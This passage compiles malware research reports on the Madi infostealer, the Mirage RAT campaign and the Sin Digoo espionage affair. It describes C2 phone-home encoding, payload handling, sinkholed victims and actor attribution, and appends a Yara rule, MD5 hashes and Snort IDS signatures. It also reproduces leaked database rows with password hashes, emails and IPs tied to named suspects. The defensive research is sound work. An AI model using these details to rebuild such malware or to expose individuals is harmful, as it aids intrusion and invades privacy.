the payload as ASLASLKK223.dll. +Since the payload file is double encoded, the decoding is performed in two steps: +ASLASLKK223.dll is decoded to ASLASLKK224.dll to get a single encoded Base64 file. +ASLASLKK224.dll is decoded to "res.exe" : Final PE file. +Res.exe is a copy of the Resource Hacker utility. ASLASLKK224.dll is deleted. The use of Res.exe is +described in the analysis of Timer 39 below. +Once Timer 47 has finished enumerating all the IE instances, it will call a cleaning routine. It searches for +" - r!r!r!r! - Windows Internet Explorer" and different variants described in Timer 45 and sends a +"WM_Close" Message to IE Windows in order to close them. +Among all those captions, it also searches for " - 404 - File or directory not found." and variants of 404 +pages. +Once the cleaning is completed, Timer 47 disables itself and returns. +Timer 49: Visit the SeSeSeSe.htm page +Timer 49 is almost identical to Timer 45. The only difference is the page visited: SeSeSeSe.htm instead of +ReReReRe.htm +See the Timer 45 description for details. +Timer 50: Parse "SeSeSeSe.htm" (downloaded by Timer 49) +Timer 50 is almost identical to Timer 46. The only difference is the page parsed: SeSeSeSe.htm instead of +ReReReRe.htm and local file names. The double encoded payload is saved as "ASLASLKK2231.dll". +See the Timer 46 description for details. +Timer 51: Double decoding of Base64 encoded payload from SeSeSeSe.htm +Note: Timer 50 saves the payload as ASLASLKK2231.dll. +Since the payload file is double encoded, the decoding is performed in two steps: +ASLASLKK2231.dll is decoded to ASLASLKK2241.dll to get a single encoded Base64 file. +ASLASLKK2241.dll is decoded to "Ladine.dll": final PE file. +Note: At the time of writing, the SeSeSeSe.htm page had been removed from the C&C server. +A C&C server used by older variants of the infostealer is still available and the old page name was +"SSSS.htm". The embedded file is a template of a downloader executable (see Timers 35, 36, 37, 38 and 39 +for further information). +Once Timer 51 has finished enumerating all the IE instances, it will call a cleaning routine. It searches for " +- s!s!s!s! - Windows Internet Explorer" and different variants described in Timer 45, and sends a +"WM_Close" Message to IE Windows in order to close them. +Among all those captions, it also searches for " - 404 - File or directory not found." and variants of 404 +pages. +Once the cleaning is completed, Timer 51 disables itself and returns. +BETA/NON-WORKING FEATURES: New executable generation +There are a few timers in the infostealer that are related to a missing file. I managed to find a copy of the +missing file from an older command and control server, in order to understand the intentions of the +authors. +The missing file is downloaded by Timer 50: SeSeSeSe.htm. It's not present on the current C&C servers. +If we were to replace the SeSeSeSe.htm with an old copy (originally SSSS.htm), Timer 51 would produce a +file called "Ladine.dll", which is a template executable of the Trojan downloader used to install the +infostealer. +Timer 52: Copy Ladine.dll to "Soltanik.exe" +Timer 52 makes a copy of "Ladine.dll" under the name "soltanik.exe", which is the template file. +Timer 35: Clean files from Timer 39 +Timer 35 is disabled. A special BOTID is created by concatenating "CoolDiskGo(" with "BOTID_TMP)", +e.g.: CoolDiskGo(MYCOMPUTER-8712422C6C7704EF) +Timer 35 puts the C&C IP address in a global variable that will be used by Timer 38. +Timer 35 tries to delete the following several files created by Timer 39: 1.txt, res.ini, res.log, +Icon_1.ico,output.rc and server.exe. +It does several other things which are not relevant to what I describe here, so I've omitted any reference to +those actions. +Timer 36 is enabled before returning. +Timer 36: Enable Timer 37 if 1.txt isn't found - logic/code bug +Timer 36 is disabled upon execution. If "1.txt" isn't present, Timer 37 is enabled. Otherwise, it calls a +Base64 decoding function. 1.txt must be a valid Base64 encoded stream of bytes; otherwise, an exception +occurs and Timer 36 returns. +Timer 37: Update resource for the template downloader: Soltanik.exe +Timer 37 is disabled upon execution. A structure exception handler is installed before reading 1.txt. +In the event of an exception the SEH handler will enable Timers 42, 34, 33, 35, and Timer 37 will return. +Timer 37 expects 1.txt to be present and here is the logic bug. Timer 37 is only enabled when 1.txt isn't +present, by Timer 36. Let's ignore the reasons for its creation and continue analyzing the intentions of the +authors. +Timer 37 calls the BeginUpdateResource (with the bDeleteExistingResources parameter set to 0), and +start updating the resources of the template executable (soltanik.exe) in RCDATA. +A MAHDI entry is added, with the Base64 content from 1.txt. This works in exactly the same way as the +downloaders with social engineering features. +Timer 38 is enabled, and Timer 37 returns. +Note: At the end of Timer 37, Soltanik has been modified to have a new resource: MAHDI. +Timer 38: Update more resources from the template downloader (Soltanik.exe) +Several entries are added to RCDATA: +Shelikn : Special BotID generated by Timer 35 +SiteW: C&C IP address +Bind: Empty (according to analysis of the downloaders that use social engineering, it should be the +extension of the embedded file dropped to social engineering victims. If MAHDI contains a Base64 +encoded picture, Bind should be set to .JPG). +Filee: SCR +Roze: 0 +Once the resources have been updated, Timer 39 is enabled and Timer 38 returns. +Timer 39: Generate a final binary: Server.exe with updated icon +At the end of Timer 38, soltanik.exe has been fully updated with new resources. Upon execution, Timer 39 +disables itself and starts generating a special command line for the Resource Hacker tool that was created +as "Res.exe" by Timer 47. +The command line is the following: +There is a bug in the routine. An executable name is missing right after "-extract". +The command line dumps the Main Icon to disk (Icon_1.ico) and creates a file called "output.rc". +At this point, it is impossible to know which file was meant to be used as the source of a new icon. For the +sake of our analysis, let's pretend the bug doesn't exist and that a valid file name was provided. +Afterwards, a second command line is passed to "Res.exe": +This final command line will generate Server.exe, a copy of soltanik.exe whose icon has been changed to +the one extracted in the previous command. +Server.exe is now fully updated. Its resources are filled, and its icon changed. It's not clear why the authors +did this, but despite all the bugs it was possible to understand the overall aim of the routine: to create a +Server.exe file from soltanik.exe with a new icon and added resources. What happens to Server.exe? +Nothing, this is a non-working feature. It appears Madi has the ability to generate new downloaders, at +least, in theory. +The 7 remaining timers won't be described as they are of little interest. +Conclusions +In this article we closely analyzed the infostealer used in the Madi campaign. The coding style and the +usage of Delphi, together with the programming techniques indicate a rudimentary approach. +Most of the data-stealing actions and communication with the C&C servers take place via external files, +which is rather messy. Whoever coded it is probably still reading through the first chapters of their Delphi +manuals. +This is maybe why it is surprising to note its effectiveness, considering the data received from the +sinkhole. During the monitored period, a little over 800 victims were connected to the servers. All of them +fell prey to the various social engineering techniques used by the malware. +To sum up, we can say the following: +the components of the Madi campaign are surprisingly unsophisticated +no exploits or advanced 0-day techniques are used anywhere in the malware +despite that, the overall success of the campaign is surprisingly high +nevertheless, we should remember that even low quality malware can steal data +Madi was a low investment, high profit project +its authors remain unknown +We will continue to monitor the Madi malware and update you on our findings in the future. +The Mirage Campaign +Author: Silas Cutler, Dell SecureWorks Counter Threat Unit(TM) Threat Intelligence +Date: 18 September 2012 +URL: http://www.secureworks.com/research/threats/the-mirage-campaign/ +Introduction +Since April 2012, the Dell SecureWorks Counter Threat Unit + (CTU) research team has +been tracking a cyber espionage campaign that uses a remote access trojan (RAT) named +Mirage (also known as MirageFox). This ongoing attack has targeted a high-profile oil +company in the Phillipines, a military organization in Taiwan, an energy company in +Canada, and several as yet unidentified entities in Brazil, Israel, Egypt and Nigeria. +Analysis +Distribution vector +Based on the data collected by the CTU research team, the campaign's primary attack +vector is spearphishing email that targets mid-level to senior-level executives. These +emails contain an attachment that includes a malicious payload that installs a copy of +Mirage. +CTU researchers have identified several files that drop and execute a copy of Mirage +onto a target system. These "droppers" are designed to look and behave like PDF documents. However, the droppers are stand-alone executable files that open an embedded +PDF file and execute the Mirage trojan. In one example, CTU researchers observed an +executable file (MD5 hash ce1cdc9c95a6808945f54164b2e4d9d2) that upon execution +drops a copy of Mirage and opens an embedded PDF of a news story titled "Yemeni +Women can participate in politics just like men, says President Saleh" that was posted +on the Yemen Observer's website. +Behavior analysis +The CTU research team has identified two main variants of the Mirage trojan. These +variants are based on key evolutionary differences in the execution and encodings used +in communication with the command and control (C2) servers. +When Mirage executes, the original file copies itself to a folder under C:\Documents +and Settings\\ or C:\Windows\ and then deletes the original file. After the initial copy, Mirage starts the newly created file and exits the original. The newly started +copy creates registry keys to ensure that the system remains infected after every reboot. +CTU researchers have observed the following filenames created after execution: +svchost.exe +ernel32.dll +thumb.db +csrss.exe +Reader_SL.exe +MSN.exe +Phone-home and C2 operations +The data sent by Mirage shares attributes with the malware family known as JKDDOS, +which was researched by Arbor Networks. In its initial phone-home connection, JKDDOS sends a system profile to the C2 server. This profile contains the CPU speed, memory size, system name and username. Similar information and encoding techniques are +seen in the initial phone-home requests of Mirage infections. +Mirage phones home to its C2 servers using a standard HTTP request. From the activity +CTU researchers have observed when executing Mirage in a malware sandbox, this +communication commonly occurs over ports 80, 443 and 8080, and it can implement SSL +for added security. +The earliest variant of Mirage uses an HTTP POST request to transmit the initial phonehome request. This phone-home request contains detailed system information of the infected system to give the C2 server a rough profile of each system that is infected and +that is calling home. +Figure 1. Phone-home request (variant 1). +The payload is encoded with a simple cipher to mask the data being sent to the C2 server. The cipher encodes the payload by adding each character's ASCII value by its offset +from the start of the payload. +Raw values +Raw hex +0x4d 0x69 0x72 0x61 0x67 0x65 +Raw decimal +Encoded decimal 77 +Encoded hex +0x4d 0x6a 0x74 0x64 0x6b 0x6a +Encoded values +Table 1. Payload encoding. +The initial payload starts with the word "Mirage", which in its encoded state is "Mjtdkj". +From there, Mirage encodes and sends the MAC address, CPU information, system +name and username in the initial request to the C2 server. +If the C2 server successfully receives the request, then it responds with an HTTP response code "200 OK". The word "Mirage" appears in its payload, followed by two null +bytes. If there is no response or an invalid response from the C2 server, the infected system continues to send its initial phone-home request at regular intervals. +Figure 2. Decoded payload (variant 1). +If the infected system connects successfully to the C2 server, then the infected system +continues to send regular check-in updates. These updates are transmitted the same +way as the initial phone-home request; however, only the MAC address of the infected +system is sent in the payload. +Figure 3. Decoded check-in update (variant 1). +The second variant of Mirage uses HTTP GET requests instead of HTTP POST requests +to transmit the phone-home requests' payload. This evolved variant's initial phonehome request's payload is contained in a Base64-encoded string in the initial request. +The decoded Base64 payload contains a second level of encoding that has several variations. The data being transmitted in the encoded string contains the same data as the +previous variant, as well as some additional data. One change is the text at the beginning of the phone-home payload. Instead of the word "Mirage" used in earlier variants, +later variants use the phrase "Neo, welcome to the desert of the real", a quote from the +movie The Matrix. +Figure 4. Sample request (variant 2). +The CTU research team has seen the encoding used in variant 2 in other malware families. One such malware family is Lingbo, which uses a similar encoding algorithm but +does not contain some of the major characteristics of Mirage. Samples from both malware families have included strange embedded quotes. Instead of Mirage's quote from +The Matrix, Lingbo contains the embedded quote "It is the end of the world and I feel +Fine", from the REM song "It's the end of the world." +Custom versions and variants +The CTU research team identified several Mirage variants that had unique attributes not +designed for widespread targeting. These custom variants were designed to operate under specific conditions and to evade common system defenses. CTU researchers also +found several samples that contained debugging information, possibly from early versions. +One of the variants was seen in a subset of samples that had been modified specifically +for the environment targeted by the threat actors. These samples had been configured +with default credentials for the targeted environment's web proxy servers. The following proxy usernames and password combinations appear in the samples collected by +the CTU research team: +a1:a1 +pagmb:pa +quickheal:quickheal +In the debugging versions, the CTU research team discovered two strings that identified +the source code paths from which the samples were compiled: +D:\....\MF-v1.2\Server\Debug\Server.pdb (MD5 hash fa26f410d0133f4152ea78df3978c22) +E:\fox_1.2 20110307\MF-v1.2\Server\Release\MirageFox_Server.pdb (MD5 hash +1045e26819ff782015202838e2c609f7) +The .pdb file extension is commonly used with Microsoft Visual Studio. Its use in these +debugging versions coincides with the samples for Mirage, which were written using +Microsoft Visual C++. CTU researchers also noted that the original name of the trojan +used in the path is MirageFox, which is likely the name used by the threat actors. +This information leads to two potential conclusions: +1. The two variants of MF-v1.2, the debug version and the release version, allow the +threat actors to customize variants. CTU researchers have already seen this activity. +2. The use of different drive letters but similar source code paths may indicate that +the threat actors are keeping a repository of tools on a central file server for shared +use. +Identification of victims +From May to the date of this publication, the CTU research team engaged in a sinkholing operation. During the operation, several of the domains formerly used as part of the +C2 infrastructure were taken over, and all activity to the domains was logged. The sinkholed domains were no longer in use and were freely available for registration. +During the operation, CTU researchers were able to identify approximately 80 IP addresses regularly communicating to the sinkhole. After analyzing and decoding the requests, CTU researchers discovered that a subset of the observed systems had usernames such as "admin" or "owner", and the originating IP address resolved to either a +residence or an antivirus or security company. Because these requests were most likely +from behavioral testing on the malware sample, the CTU research team filtered these +connections out of the results. +After decoding the inbound requests, the CTU research team identified approximately +100-120 infected systems attempting to phone home. The majority of the inbound requests came from Taiwan or the Philippines, with several isolated cases in Nigeria, +Brazil, Israel, Canada and Egypt. Many of the IP addresses originate from networks +owned by the oil company, energy company, and military organization. +Deeper analysis of the phone-home requests and correlation with social networking +sites allowed CTU researchers to identify a specific individual infected with Mirage. It +was an executive-level finance manager of the Phillipine-based oil company. +Figure 5. Sources of infected hosts. +Threat actors +The threat actors using Mirage have employed several tactics to attempt to hide their +identities and their primary C2 servers. One of the common tactics is using dynamic domain name system (dDNS) domains for the callbacks to the C2 servers. dDNS providers +(e.g., Dyndns.com) allow anyone to register for a free third-level domain (e.g., Checkip.dyndns.org) and require only a valid email address, which is kept private. +When investigating the DNS addresses of the C2 servers, CTU researchers identified +several IP addresses of hosting companies based in the United States that are running +HTran. HTran software is used to proxy connections from one system to another. In the +past, it has been used to disguise the true C2 servers used by malware authors. In the +CTU research team's 2011 analysis of HTran, the software's author was identified as a +member of the Chinese hacker group HUC, the Honker Union of China. +Despite efforts to operate anonymously, there were several clues that pointed to the true +identities of the attackers. During an analysis of the phone-home activity, CTU researchers identified four unique second-level domains that were not connected to a +dDNS provider. Two of these domains shared a common owner's email address, and +two were previously flagged for suspicious activity. +C2 domain name +Owner name Owner email +Adobesuit.com +nie min +dnsjacks@yahoo.com +antivirusbar.org +white jacks +dnsjacks@yahoo.com +Echosky.biz +tawnya grilth jeno_1980@hotmail.com +India-videoer.com india videoer king@hotmail.com +Asia-online.us +bkpathak +king_public@hotmail.com / kings@hotmail.com +Table 2. Unique second-level domains. +CTU researchers correlated 86% of the IP addresses the dDNS domains used in the +phone-home request to IP addresses of subdomains belonging to domains owned by +dnsjacks@yahoo.com. Of the remaining 14% that were not directly associated, CTU re- +searchers correlated 10% to IP ranges that resolved to subdomains owned by +dnsjacks@yahoo.com. +Figure 6. Analysis of IP addresses. (Source: Dell SecureWorks) +This link between the IP addresses and the subdomains indicates that dnsjacks@yahoo.com owns the dDNS domains. Using historical DNS records, CTU researchers were able +to map each of the dDNS domains to a subdomain of a domain owned by dnsjacks@yahoo.com. +Figure 7. Details of IP range. +In the samples CTU researchers analyzed, the other domains associated with the phonehome activity are asia-online.us, india-videoer.com and Echosky.biz. The CTU research +team previously flagged these domains in the HTran investigation and later in the Sin +Digoo analysis. The analysis of the Sin Digoo affair indicated that jeno_1980@hotmail.com and king@hotmail.com were connected. From the data the CTU research team has +collected, indications point to dnsjacks@yahoo.com being either another alias or an associate of the actor referenced in the HTran and Sin Digoo analyses. +Figure 8. A common phone number was found to link india-videoer.com and asia-online.us +Conclusion +Mirage represents only one small piece of malware involved in an ongoing worldwide +campaign. Over the past few years, these campaigns have become extremely successful, +and a great deal of intellectual property and company secrets has been stolen from the +targeted companies. +For companies in the targeted industries, it is important to have a strong perimeter security line in place. Using active intrusion detection and prevention systems as well as +DNS monitoring for malicious domains is essential to detecting this activity. Companies +that use the Yara malware identification and classification tool for scanning local systems can use the rules provided in the appendix to search for potential infections. +Traditionally, the success of botnets created by threat actor groups has been measured +by the quantity of infected systems and the difficulty to defend against in the long term. +These targeted attacks show that a successful campaign requires only a small quantity +of infected systems to accomplish the attackers' objectives and to yield extremely power- +ful results. +Appendix +Yara rules +rule Mirage_APT_Backdoor : APT Mirage Backdoor Rat MirageRat +meta: +author = "Silas Cutler (SCutler@SecureWorks. +com)" +version = "1.0" +description = "Malware related to APT cam +paign" +type = "APT Trojan / RAT / Backdoor" +strings: +$a1 = "welcome to the desert of the real" +$a2 = "Mirage" +$b = "Encoding: gzip" +$c = /\/[A-Za-z]*\?hl=en/ +condition: +(($a1 or $a2) or $b) and $c +MD5 hashes +5efd0d7f52890291599c8562e8ea92db +eacd03ee55ea7d22b45762c82ae1c0e5 +ce1cdc9c95a6808945f54164b2e4d9d2 +5326e4fe9fd10e37d46e81c0f6bbf29a +b2e821828df59c734c1cc379ef7f3122 +875877eedcd9f2d60bf63937fe22073d +02d77cdaa808ded64d09eea732a586cc +18a5c6e92b962bc6512486db94bb17a7 +32b33321290ac8011aa218da554b8fa5 +f41896e9f77855842380fd9ed795bc64 +407c291cd5c73da680fa9af9ec017fff +7adb0f22468c10901bd280b2d8a154b0 +abac650ab39c0dd074310710081d715d +c9e49c504d5ca953c858d29b7a2acb9d +aaa9aae486ee7342d29a0a2f9b0ca205 +7ad79f9a0efde6f4673585e400f29f18 +f51fbafc652e10a9ce13795d4cb2d449 +a748ff9663b2d39a35e4c073b73cd7f6 +e7d5ac11903c0217a999a79bc87182d2 +1b918c8a40dc4a66430cfec7dabeb7f3 +c72d7794dc7f2eda6b44b934fe8fff1c +ad2dda9241cd6c0e879ab665d77ce13c +ccf34d2ba81de856af8167e73d0c8b69 +ebe7699033424b9ef444364bd23ba665 +7349c7908a672de885fdf9f9cc4547b5 +eacd14ce8414911546cb027a8cb2fecd +4b9723a4060838114e53d1df3fa2537a +070ef82a0bded089b6f996a392ca7b9a +286f7b377f5d0ca3505ed1ba6601c947 +4d74a83e2f623f17e17eb95736dc587b +a4b9bfc5aa5e37cc613112b9a9dcdb3e +fb17ffc7495880a7c19df0ebe5c97ad7 +e29ab99be392bb7012f516a2dbfdc00c +8caf2a96e4d7bb83156c260ccc8f47e7 +a4ff66224a0967763e1d079c99482577 +f0b93bf7273cbeaed69ed55b5169daf7 +3be6fea2bf35c3c3be860622c68ff369 +5fa26f410d0133f4152ea78df3978c22 +3d10e68dec16b1a4bf949e3e403f2dda +5c371a6dfb45f188fe8e6da4fee9300d +9ff3a9ef192453ecec26cf567c579bff +65445b138d80954cc912a6e43fe5b66d +685805936d8744225f8c11965202de8e +80e978d0eea713812f1dd6b4e9b7daf2 +921c724ccb04b9f672b294ffff83ce7b +072877b961e31e8792a296c63b9c7b56 +1a8bc862ceaa7e05189345065145842a +6794cc6f5e463ee7432b9e718d8c1b8e +fdb949112cc72c68fc7c1ea0c65344bc +f4a6114fce22eb18b0ccf19cfa68ddba +1045e26819ff782015202838e2c609f7 +5640beb540bef2e97ec4366713d533b8 +0f93d28964b440c241ca126a7f94dae2 +075df4723073ff08cd3e90d2b1f11722 +240627a306f32483378e44ff13e12169 +5f2a4d865e6e94f7f15571faab5128d6 +3bfa7b806ff540cc1c264ec75048fbc4 +05a02e08cce99d3821574d8612f757fd +d60cfe03bce8647cce723991e2cd2f8c +6ed270da7450945a3a5a05eda8312732 +a1083968b78c081135268b6e4e12b1e5 +0fce05e2cea6bd9c217373f2ab962d82 +85ef19fab3951d4dd56e42b5a9ccdeea +422f1ffe7e5bda7062f005be92fba36e +346aa61b5739e616482a1bc8bb548871 +c2661e45ec2198b04b29ec3fd1e120b2 +e04e5eb4aefeb326246d7f41d1b50759 +eb1aa241b4a482ac44b27ce38eabccb7 +418fb9ba2a61bccab3e54ebe0698c4b6 +590e68aaaa5c2353b7288f64cc87d9bb +1f9894e730c0f5ba085baae409aa963a +11b76423f450ba610f073e7522eeb56b +54d37fb1f624c798f0b400b4f50f3635 +7fda0451e4d320cc34efcaaabedd6824 +84fc624f9f5f8de6980497058db1e8e1 +964eec615f977b05bc87943ce0942cf9 +5069057b799636c012eec38147fb96e6 +a4a1670c537861f7d5b0db115a7aa5fa +00b9619613bc82f5fe117c2ca394a328 +2219bef789ff73efc0a01f87be03188d +The Sin Digoo Affair +URL:http://www.secureworks.com/research/threats/sindigoo/ +Date: 29 February 2012 +Author: Joe Stewart, Director of Malware Research, Dell SecureWorks Counter Threat Unit Research Team +"We cannot enter into informed alliances until we are acquainted with the designs of our neighbors and the plans of our adversaries." - Sun Tzu, The Art of War +Introduction +The story of the Sin Digoo affair begins with a set of Internet domain registrations dating back to 2004. Between 2004 and 2011, a person using +the email address jeno_1980@hotmail.com registered several domains using the names "Tawnya Grilth" and "Eric Charles". Curiously, all of +the "Tawnya Grilth" domains showed the registrant's physical address to be a post office box in the fictional/misspelled town of "Sin Digoo", +California. +Figure 1. Characteristics of domains registered by jeno_1980@hotmail.com. +In 2006 and 2007, jeno_1980@hotmail.com registered a number of domains under the "Tawnya Grilth" alias that have appeared repeatedly on +reports published by various automated malware analysis systems and antivirus websites. The Dell SecureWorks CTUSM research team examined malware samples using these domains and concluded that these domains were involved in a larger pattern of malware-based espionage, sometimes referred to as Advanced Persistent Threat (APT) activity. +Espionage malware +There are two primary malware families involved with the Sin Digoo domains. One is known as "Enfal", which is short for "EtenFalcon", a +string found inside early samples. The involvement of actors using this malware for espionage was first detailed in 2010 in a joint report by the +Information Warfare Monitor and the Shadowserver Foundation. The report, titled "Shadows in the Cloud: Investigating Cyber Espionage +2.0," was a continuation of research from an earlier report titled "Tracking GhostNet: Investigating a Cyber Espionage Network." A later report +by antivirus firm Trend Micro titled "The LURID Downloader" further details a campaign of espionage by this malware against targets worldwide. +Figure 2. Sin Digoo connection to Enfal malware. +A second family of malware connecting to the "Tawnya Grilth" domains is less well-known, although a couple of antivirus companies have +used the names "RegSubsDat", "RegSubDat" or "Kirpich" to refer to it. A recent variant was described by the information security firm CyberESI in a 2011 blog post titled "India-United States Naval Cooperation.doc Analysis." Details regarding the earlier variant used in the Sin Digoo +activity was first analyzed in a blog posting by Don C. Weber titled "Malware Characteristics Report - Trojan.RegSubsDat.A" on his Security +Ripcord blog. +Figure 3. Sin Digoo connection to RegSubsDat malware +Although windowsaupdate.com is not a "Tawnya Grilth" domain according to the WHOIS data, the name is almost certainly related to the domain windowsaupdate.net, especially given the same subdomain naming pattern (e.g., v4, v12, v14). +Victim discovery +CTU analysts sinkholed a number of the "Tawnya Grilth" domains in 2011 and 2012. Traffic from infected victim computers is now sent to +servers that log connections, gather statistics, and notify victims when possible. The initial findings from the sinkholing activity are: +1. Between 100 and 200 computers located in Vietnam, Brunei, and Myanmar are infected by RegSubsDat. Analysis of the IP addresses connecting to the sinkhole show that many are government ministries. Additionally, more than one regional petroleum company and a +newspaper has been infected. +2. A handful of victim computers in Europe and the Middle East are infected by RegSubsDat, Enfal, and one other unknown trojan. These +computers belong to government ministries in different countries, an embassy, a nuclear safety agency, and other business-related +groups. Additionally, there is an embassy located inside mainland China that is infected. +The CTU researchers have notified many of the national computer security incident response teams (CSIRTs) in the countries where infections +were detected and are continuing this notification process. The notifications include the necessary information to locate victims within the +country, inform the victims, and mitigate the infections. +Link to RSA breach +In addition to the GhostNet link, connections can also be drawn between the malware used in the Sin Digoo activity and the RSA breach revealed in early 2011. According to the US-CERT EWIN-11-077 bulletin, a number of command-and-control (C2) hostnames used by RegSubsDat shared three different IP addresses at different points in time, with one of the hostnames known to be part of the RSA breach. This C2 +hostname was used in a piece of malware known as "Murcy", which was detailed in "Command and Control in the Fifth Domain," a 2012 report by Command Five Pty Ltd. +Figure 4. Connection between the RegSubsDat malware and the Murcy malware. +All three IP addresses belong to the China Beijing Province Network (AS4808). Although the RegSubsDat and Murcy C2s shared these IPs a +few months apart, the fact that three IP different addresses at the same ISP overlapped in a short time frame seems to indicate shared infrastructure used by both the RSA breach actors and other actors using the RegSubsDat malware. AS4808 is known for many other connections to +malware and is considered by some to be a hotbed of espionage C2s, especially the 123.120.96.0/19, 114.248.80.0/20 and 114.248.96.0/20 subnets. These subnets have been seen in DNS records for hundreds of C2 hostnames for dozens of custom malware families, either known for or +suspected in espionage activity. +The RegSubsDat asia-online.us domain was registered by an unknown actor using the email address king_public@hotmail.com. A 2011 blog +posting by "Cyb3rsleuth" traced this email address to a social media profile created by a person living in Beijing named "Wang Liang Chen." +The same email address was used to register many other RegSubsDat domains as well. The social media profile for king_public@hotmail.com +has since been deleted. +Tracking Tawnya +The same type of open-source intelligence can be used to gather information about the jeno_1980@hotmail.com actor. One domain registered +by jeno_1980@hotmail.com is "socialup.net". This site describes a "like exchange," which is a service that Internet marketers can use to promote +a story on social media sites like Digg or Reddit. +Figure 5. Screenshot of the socialup.net interface. +This type of service falls under the category of "blackhat SEO," a term for a variety of techniques for manipulating search engines and social +media sites for marketing purposes. These methods are considered "blackhat" because they usually lead to a site or user being banned from +the search engine or social media sites if the manipulation is discovered. +The socialup.net website has been repeatedly promoted on blackhat SEO message boards by various personas, including one named +"Tawnya". +Figure 6. Example of "Tawnya" promoting socialup.net. +Once a user signs up with socialup.net, they can earn virtual "coins." The coins can be used to promote the user's websites or social media +posts, either by viewing ads or liking other users' stories and links. A user can also buy coins from the owner of socialup.net using PayPal. +Figure 7. Example of interface to purchase coins. +As part of the PayPal transaction, the potential customer can see the payee email address. In the case of socialup.net, PayPal's website shows +that the payment for the socialup.net coins is sent to an individual with the initials jzd. +Figure 8. Order summary for coins showing payee information. +One of the other "Tawnya Grilth" domains is "i-tobuy.com". This domain was registered in 2004 using the jeno_1980@hotmail.com email address and "Sin Digoo" location, but the nickname "xxgchappy" is also shown in the registrant contact data. +Figure 9. Registrant contact data for i-tobuy.com. +Another domain registered in 2004 using the "Sin Digoo" location was "1stsale.net", registered to a "john twk" with the email address xxgchappy@vip.sina.com. +Figure 10. Registrant contact data for 1stsale.net. +There is a profile on a Chinese programmers' forum for an "xxgchappy" user who has posted two different email addresses in different messages on the site. These addresses are xxgchappy@vip.sina.com and +@sina.com.cn (address redacted). The user's name is listed on the forum's profile page for "xxgchappy" and contains the initials ZD. +Figure 11. Profile for xxgchappy. +Figure 12. Tracing the connections between socialup.net, i-tobuy.com, and 1stsale.net. +Several clues on the Internet point to xxgchappy, or ZD, having a working knowledge of computer programming. The use of the programmers' forum, along with postings to that site, indicates he is interested in code related to hooking Windows API functions, a common technique used in malware. Additionally, both xxgchappy@vip.sina.com and king_public@hotmail.com were the listed email addresses for users +of the "rootkit.com" site, revealed when that site's database was leaked in 2011. +A "rootkit" is a program used for hiding traces of malware on a system, and rootkit.com was a forum for discussing the latest rootkit technolo- +gies. However, simply having an account on rootkit.com does not imply one is using rootkits offensively + many anti-malware researchers +were also members of the site. There are some interesting clues in the database table for both users. +The nickname "Jeno" appears again in the rookit.com user database entry for the user with the email address xxgchappy@vip.sina.com. +(7523,'Jeno','91cec994','Jeno Alix','xxgchappy@vip.sina.com',1,0, +'','','','','','',0,'http://www.rootkit.com/usericons/Jeno.jpg','' +,1265784473,'123.6.89.98',0,0,0,1265721022,0,0,0,'','0','','','',-1,''), +(23025,'king-rose','e211f11c0b28434bf7f1c8fb510fa9ae','Club-tom', +'king_public@hotmail.com',1,1106582903,'','','','','','',0,'','' +,1106837367,'61.51.59.63',0,0,0,1106583113,0,0,0,'BH','19800126', +'','','',0,''), +Figure 13. Database entries with the xxgchappy and king_public email addresses. +In the entry for king_public@hotmail.com, we see the nicknames "king-rose" and "Club-tom", but even more interesting is the password hash +"e211f11c0b28434bf7f1c8fb510fa9ae". This password hash appears in only one other entry in the rootkit.com database: +(20446,'king-z','e211f11c0b28434bf7f1c8fb510fa9ae','k,z,y', +'wzy_100@hotmail.com',1,1097652186,'','','','','','',0,'','',1284013010, +'123.120.127.153',0,0,0,1284013010,0,0,0,'','','','','',0,''), +Figure 14. Other appearance of the password hash associated with king_public@hotmail.com. +From this evidence, we can deduce that "king-z" is a second, earlier account of king_public@hotmail.com, created using the wzy_100@hotmail.com email address. Even more interesting is the 123.120.127.153 IP address the king-z account used to log in. This IP is located inside one +of the AS4808 netblocks famous for espionage activity. In fact, it is remarkably close to 123.120.127.159, an IP used by Enfal C2 v2.windowsaupdate.net (one of the "Tawnya Grilth" domains) on September 27, 2010. The last account activity for king-z as shown in the rootkit.com +database is September 9, 2010. This data strongly suggests that king_public@hotmail.com is not just a stolen account used to register a domain, +but that the user is involved in the espionage network in some manner. +The password used by xxgchappy@vip.sina.com does not appear elsewhere in the leaked rootkit.com database; however, another leaked database may provide additional clues surrounding the xxgchappy personality. +@sina.com.cn (address redacted) email address associated with the user xxgchappy can be found inside an archive posted to the +"hackchina.com" website. +xxgchappy # 2710 # +@sina.com.cn +Figure 15. xxgchappy reference from the hackchina.com website. +The archive contains a denial-of-service attack tool called "lankiller". Inside the lankiller binary is the following comment: +Designed for lyh by xxgc-happy 2002.3.8 +Figure 16. Reference to xxgc-happy in the lankiller tool. +Also included in the lankiller archive is a README file that describes the use of the tool. It asks the user to email the author at either +@sina.com.cn or happy@sohu.com.cn. +Figure 17. Email addresses referenced in the lankiller README file. +There is a profile for "happy" on a Chinese video site showing a possible photo of the user. The photo is of a man who appears to be in his early twenties and of Asian descent. +Conclusion +The Sin Digoo activity is only a limited view into a very large amount of espionage-by-malware that is happening in the world. The Enfal, +RegSubsDat, and Murcy malware families possess dozens of defunct and active C2s, and these three trojans are only a tiny subset of the malware families the Dell SecureWorks CTU research team knows to be involved in espionage activity. Collaboration between government, espionage malware victims, and the computer security industry must improve to better defend against this undercurrent of activity that threatens +to undermine an already weakened economy in countries around the world. +Appendix A + Network IDS signatures +alert tcp $HOME_NET any -> any any (msg:"Enfal Trojan Activity"; flow:established,to_server; content:"GET|20|"; depth:4; +pcre:"/^GET\x20.*\x2ftrandocs\x2fnetstate*\x20HTTP\x2f1/"; +reference:url,www.secureworks.com/research/threats/sindigoo/; +sid:1111111111;) +alert tcp $HOME_NET any -> any any (msg:"Enfal Trojan Activity"; flow:established,to_server; content:"GET|20|"; depth:4; +pcre:"/^GET\x20.*\x2f(category2|data\x2fforum|httpdocs\x2fmm|trandocs\x2fmm).*[A-F0-9]{2}\x2d[A-F0-9]{2}\x2d[A-F0-9]{2}\x2d[AF0-9]{2}\x2d[A-F0-9]{2}\x2d[A-F0-9] +{2}\x2f(showNumber|WindowTask|ORDERTIP|ComMand\x2esec|Cmwhite|ComMand\x2esec|Command.txt|Query.txt|sunrise|Tiblue|Trblu +reference:url,www.secureworks.com/research/threats/sindigoo/; sid:1111111112;) +alert tcp $HOME_NET any -> any any (msg:"Enfal Trojan Activity"; flow:established,to_server; content:"POST|20|"; depth:5; +content:!"|0a|Referer|3a20|"; 